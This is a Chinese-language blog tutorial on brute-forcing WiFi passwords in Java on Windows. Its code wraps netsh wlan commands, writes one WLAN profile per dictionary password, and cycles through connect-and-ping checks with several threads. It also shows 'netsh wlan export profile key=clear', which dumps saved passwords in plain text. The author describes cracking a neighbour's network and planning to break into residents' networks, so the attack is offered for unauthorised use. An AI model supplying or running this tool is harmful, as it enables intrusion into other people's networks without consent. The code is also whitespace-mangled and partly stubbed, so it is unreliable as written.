Java编程实现暴力破解WIFI密码的方法分析
本文实例讲述了Java编程实现暴力破解WIFI密码的方法。分享给大家供大家参考,具体如下:
开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得把系统刻到U盘,然后用U盘启动。但是我现在穷得连一条内裤都没有了,哪来的U盘啊。于是就决定自己写,而且还得用Java写,写了我还得在windows上运行。
一、准备工作
首先你得需要一台能连wifi的电脑,
然后你的电脑得支持Java环境,
最后你周围得有无线网络。
ok,话不多说,说开撸,老夫就要开撸。于是网上找到了windows下cmd无线网络操作的相关命令。如下:
//列出所有可用wifi netshwlanshownetworksmode=bssid //添加配置文件 netshwlanaddprofilefilename=FILE_NAME //连接wifi netshwlanconnectname=SSID_NAME //导出配置文件 netshwlanexportprofilekey=clear //列出配置文件 netshwlanshowprofile //删除配置文件 netshwlandeleteprofilename=FILE_NAME //列出接口 netshwlanshowinterface //开启接口 netshinterfacesetinterface"InterfaceName"enabled
首先需要写配置文件,方便待会使用。首先我们可以看看配置文件张啥样,导出配置文件看看就知道了。打开命令行,输入这我这篇文章中,主要会用到前四个命令,其他的命令就当给各位做拓展了。
netshwlanexportprofilekey=clear
就导出了配置文件,注意,这儿的配置文件默认导出在cmd执行的当前路径,如下,
我导出的文件就在C:\Users\Admin下面,可以看到文件都是wifi.xml方式。如TP-LINK_5410.xml,随便打开一个我们可以看到xml文件的具体内容,但是有一些内容是我们不需要的,我们需要的是下面这个样子
SSID_NAME SSID_NAME ESS auto AUTH_TYPE AES false passPhrase false PASSWORD false
二、扫描WIFI
其中SSID_NAME是待会我们会用到的wifi名称,AUTH_TYPE是wifi的加密方式,PASSWORD是我们会暴力破解的密码变量。
OK,背景交代得差不多了,可以开干了。首先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信号强度(信号太弱的,我们就不进行破解了,破解了也没啥用)。扫描其实就是执行一个CMD命令的问题,先封装一个CMD执行器吧。
/** *执行器 * *@paramcmdCMD命令 *@paramfilePath需要在哪个目录下执行 */ privatestaticListexecute(Stringcmd,StringfilePath){ Processprocess=null; List result=newArrayList (); try{ if(filePath!=null){ process=Runtime.getRuntime().exec(cmd,null,newFile(filePath)); }else{ process=Runtime.getRuntime().exec(cmd); } BufferedReaderbReader=newBufferedReader(newInputStreamReader(process.getInputStream(),"gbk")); Stringline=null; while((line=bReader.readLine())!=null){ result.add(line); } }catch(IOExceptione){ e.printStackTrace(); } returnresult; }
/** *列出所有信号较好的ssid * *@return所有ssid */ publicstaticListlistSsid(){ List ssidList=newArrayList (); Stringcmd=Command.SHOW_NETWORKS; List result=execute(cmd,null); if(result!=null&&result.size()>0){ //todo整合信息 } returnssidList; }
然后扫描周围wifi信息,并返回相关信息
三、生成配置文件
OK,接下来我们就可以开始针对每个不同的SSID生成不同的配置文件了,生成文件整个过程就是根据每个不同的密码生成一个配置文件。大概代码如下
/** *配置文件生成器 */ publicclassProfileGenerator{ privateStringssid=null; privateStringpasswrodPath=null; privateExecutorServicethreadPool=Executors.newFixedThreadPool(4); publicProfileGenerator(Stringssid,StringpasswrodPath){ this.ssid=ssid; this.passwrodPath=passwrodPath; } /** *生成配置文件 */ publicvoidgenProfile(){ ListpasswordList=null; intcounter=0; outer: while(true){ intstart=counter*Connector.BATH_SIZE; intend=(counter+1)*Connector.BATH_SIZE-1; passwordList=FileUtils.readLine(passwrodPath,start,end); if(passwordList!=null&&passwordList.size()>0){ //生成配置文件 for(Stringpassword:passwordList){ GenThreadgenThread=newGenThread(ssid,password); threadPool.execute(genThread); } }else{ breakouter; } counter++; } } } classGenThreadimplementsRunnable{ privateStringssid=null; privateStringpassword=null; GenThread(Stringssid,Stringpassword){ this.ssid=ssid; this.password=password; } publicvoidrun(){ StringprofileContent=Profile.PROFILE.replace(Profile.WIFI_NAME,ssid); profileContent=profileContent.replace(Profile.WIFI_PASSWORD,password); FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH+"\\"+password+".xml",profileContent); } }
需要哪些密码可以自己现在网上找一些字典来跑,建议顺序是常用弱口令=>字典面=>随机密码(到了随机密码这儿,意义也不大了)。这儿给出一个常见弱口令的下载连接。反正我只用这个弱口令破解过一个WIFI。这儿为了加快文件生成速度,我开启了多线程。个人实际感受,如果只是几千到几万个的话,其实多线程不多线程,并没有多大区别,真正的区别在于后面尝试连接的时候。
四、遍历校验配置文件
接下来就是最耗时的一步了,一个个密码去校验。关键代码如下
/** *校验WLAN配置文件是否正确 **校验步骤为: *---step1添加配置文件 *---step3连接wifi *---step3ping校验 */ publicsynchronizedbooleancheck(Stringssid,Stringpassword){ System.out.println("check:"+password); try{ StringprofileName=password+".xml"; if(addProfile(profileName)){ if(connect(ssid)){ Thread.sleep(50); if(ping()){ returntrue; } } } }catch(InterruptedExceptione){ e.printStackTrace(); } returnfalse; } /** *添加配置文件 * *@paramprofileName添加配置文件 */ privatestaticbooleanaddProfile(StringprofileName){ Stringcmd=Command.ADD_PROFILE.replace("FILE_NAME",profileName); List
result=execute(cmd,Connector.PROFILE_TEMP_PATH); if(result!=null&&result.size()>0){ if(result.get(0).contains("添加到接口")){ returntrue; } } returnfalse; } /** *连接wifi * *@paramssid添加配置文件 */ privatestaticbooleanconnect(Stringssid){ booleanconnected=false; Stringcmd=Command.CONNECT.replace("SSID_NAME",ssid); List result=execute(cmd,null); if(result!=null&&result.size()>0){ if(result.get(0).contains("已成功完成")){ connected=true; } } returnconnected; } /** *ping校验 */ privatestaticbooleanping(){ booleanpinged=false; Stringcmd="ping"+Connector.PING_DOMAIN; List result=execute(cmd,null); if(result!=null&&result.size()>0){ for(Stringitem:result){ if(item.contains("来自")){ pinged=true; break; } } } returnpinged; }
两点释疑:
1.为什么需要sleep(50)?因为在连接后,电脑没有立即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50行不行。
2.为什么需要ping网站?因为在第二步连接的时候,不管有没有连接成功,都会出现‘已成功完成xx连接'的字样。所以没办法,只有用ping来校验,不过我相信一定能够优化的。
这一步我开启了多线程,去验证,有人说为什么用多线程,明明验证方法都synchronized了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那一点点时间,我用了多线程。
五、连接成功
OK,至此,为师已将毕生功力传授给你了,你出去就说是三年经验了。呸,说错了,至此,整个流程大概就已经出来了,接下来就run你的程序吧。等待密码的破解。
我一共在我家周围瞄上了三个信号看起来还可以的wifi。用这个程序跑了40多秒,开了一个wifi的密码12345678。耶成功了终于可以用了。
然后根据密码,把自家路由器设置一个桥接模式。家里处处都有网了。
五、或者放弃
或者,你也可以放弃。愉快地用了一晚上过后,我第二天早上起来发现网断了,原来那个网不存在了,但是到了中午又有了。我估计是底商闭店了,就断电了,网就没了。
于是想要撬开一个住户的网,跑了两个看起来信号比较好的网络,都以失败告终!!!因为密码字典不够强大。网上下过几个字典生成器,都不能用。算了吧先凑合用着现在的网络,等我有空了,写个字典生成器,来撬开。
更多关于java相关内容感兴趣的读者可查看本站专题:《Java网络编程技巧总结》、《JavaSocket编程技巧总结》、《Java文件与目录操作技巧汇总》、《Java数据结构与算法教程》、《Java操作DOM节点技巧总结》和《Java缓存操作技巧汇总》
希望本文所述对大家java程序设计有所帮助。